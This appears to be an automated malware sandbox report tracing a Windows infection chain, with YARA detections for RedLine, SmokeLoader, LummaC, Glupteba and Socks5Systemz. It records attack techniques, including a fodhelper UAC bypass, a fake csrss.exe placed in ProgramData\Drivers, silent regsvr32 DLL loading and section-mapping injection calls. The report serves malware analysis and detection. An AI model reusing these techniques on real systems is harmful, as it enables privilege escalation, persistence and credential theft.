Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1944472325.00000000009ED000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000003.00000002.1944344565.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.1944561825.00000000023C1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000003.00000002.1944561825.00000000023C1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000003.1893386944.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.1944361453.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000003.00000002.1944361453.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:22:22
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\76D5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\76D5.exe
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.1984503860.0000000002557000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:22:24
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\76D5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\76D5.exe
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:22:25
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\826E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\826E.exe
Imagebase:	0x400000
File size:	661'559 bytes
MD5 hash:	06A40B3DB1A45E814F1187AFABFA16F9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:22:25
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:22:26
Start date:	19/12/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\87A0.dll
Imagebase:	0x7ff69b2e0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:22:26
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\87A0.dll
Imagebase:	0xfc0000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:22:28
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\8FEE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8FEE.exe
Imagebase:	0xa60000
File size:	4'264'408 bytes
MD5 hash:	DD6115206647B6C92EED0C5B07528DFA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.2285066463.0000000000A63000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.2289445818.0000000003BC2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:22:29
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\933A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\933A.exe
Imagebase:	0x400000
File size:	488'448 bytes
MD5 hash:	D4FB69194E51F4ADD8A18536536DAE1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.3033410607.0000000000C1D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 0000000D.00000003.2038973709.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_2, Description: Yara detected LummaC Stealer, Source: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:22:35
Start date:	19/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.2096970899.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:22:36
Start date:	19/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	03:22:36
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\AF9D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\AF9D.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	BE660C6932B361DEB87C71F2EA16E448
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000010.00000002.2160182132.0000000000A30000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.2160255945.0000000000A5D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.2160387190.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000010.00000002.2160387190.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.2160447773.0000000002611000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000010.00000002.2160447773.0000000002611000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000003.2109020648.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:22:41
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\C1FD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C1FD.exe
Imagebase:	0x400000
File size:	4'385'672 bytes
MD5 hash:	21FCE61654F410F6DC86BD1985D0F97A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000011.00000002.2212474597.00000000029B5000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:22:43
Start date:	19/12/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Sysnative\cmd.exe /C fodhelper
Imagebase:	0x7ff73f070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:22:43
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:22:43
Start date:	19/12/2023
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	fodhelper
Imagebase:	0x7ff6a6df0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:22:43
Start date:	19/12/2023
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff6a6df0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:22:44
Start date:	19/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000018.00000002.2197640676.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:22:44
Start date:	19/12/2023
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff6a6df0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:22:44
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\D5C5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D5C5.exe
Imagebase:	0x400000
File size:	6'872'767 bytes
MD5 hash:	2CFFB0BE248E3FDFBCC5311A331F95EC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	03:22:45
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\C1FD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\C1FD.exe"
Imagebase:	0x400000
File size:	4'385'672 bytes
MD5 hash:	21FCE61654F410F6DC86BD1985D0F97A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001B.00000002.4113310706.00000000028B7000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	03:22:45
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp" /SL5="$20488,6618230,54272,C:\Users\user\AppData\Local\Temp\D5C5.exe"
Imagebase:	0x400000
File size:	704'000 bytes
MD5 hash:	DC768C91E97B42F218028EFA028C41CC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	03:22:45
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x480000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:22:45
Start date:	19/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'021'376 bytes
MD5 hash:	F5404C44B8FB624AD16068D23D269886
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	03:22:46
Start date:	19/12/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:22:47
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\D5C5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\D5C5.exe" /SPAWNWND=$20478 /NOTIFYWND=$20488
Imagebase:	0x400000
File size:	6'872'767 bytes
MD5 hash:	2CFFB0BE248E3FDFBCC5311A331F95EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	03:22:47
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp" /SL5="$C02BA,6618230,54272,C:\Users\user\AppData\Local\Temp\D5C5.exe" /SPAWNWND=$20478 /NOTIFYWND=$20488
Imagebase:	0x400000
File size:	704'000 bytes
MD5 hash:	DC768C91E97B42F218028EFA028C41CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	03:22:47
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -nologo -noprofile
Imagebase:	0x540000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:22:48
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:22:50
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\net.exe" helpmsg 18
Imagebase:	0xc60000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:22:50
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:22:50
Start date:	19/12/2023
Path:	C:\Program Files (x86)\PRingTone\PRingTone.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\PRingTone\PRingTone.exe" -i
Imagebase:	0x400000
File size:	2'805'749 bytes
MD5 hash:	9A0A8708381FC8255E8CCD3C9B9570E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 35%, ReversingLabs Detection: 38%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:22:50
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 helpmsg 18
Imagebase:	0xd40000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:22:50
Start date:	19/12/2023
Path:	C:\Program Files (x86)\PRingTone\PRingTone.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\PRingTone\PRingTone.exe" -s
Imagebase:	0x400000
File size:	2'805'749 bytes
MD5 hash:	9A0A8708381FC8255E8CCD3C9B9570E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000002A.00000002.4111813779.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000002A.00000002.4112076174.0000000002B61000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	03:22:51
Start date:	19/12/2023
Path:	C:\Windows\servicing\TrustedInstaller.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\servicing\TrustedInstaller.exe
Imagebase:	0x7ff655520000
File size:	192'336 bytes
MD5 hash:	D098F2FC042FBF6879D47E3A86FBB4A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:22:51
Start date:	19/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	03:22:51
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Local\Temp\C1FD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C1FD.exe
Imagebase:	0x400000
File size:	4'385'672 bytes
MD5 hash:	21FCE61654F410F6DC86BD1985D0F97A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	03:22:52
Start date:	19/12/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -nologo -noprofile
Imagebase:	0x540000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	03:22:52
Start date:	19/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	03:23:03
Start date:	19/12/2023
Path:	C:\Users\user\AppData\Roaming\cwischf
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cwischf
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	BE660C6932B361DEB87C71F2EA16E448
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000030.00000002.2424496657.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000030.00000002.2424591742.00000000025C1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000030.00000002.2424591742.00000000025C1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000030.00000003.2373486814.00000000024A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000030.00000002.2424289837.000000000088D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000030.00000002.2424546841.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000030.00000002.2424546841.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	49.1%
Signature Coverage:	40%
Total number of Nodes:	55
Total number of Limit Nodes:	3

Executed Functions

Function 00401590 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1700952888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NBHEkIKDCr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction ID: d6964195f2ae178c179c3b7a32e304a619fe45f2cb2dcf097c8130f3d204b23e
Opcode Fuzzy Hash: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction Fuzzy Hash: 64616FB0904205FFEB208F91CC58FAF7BB8EF81710F10416AFA12BA1E5D6749941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040159B Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

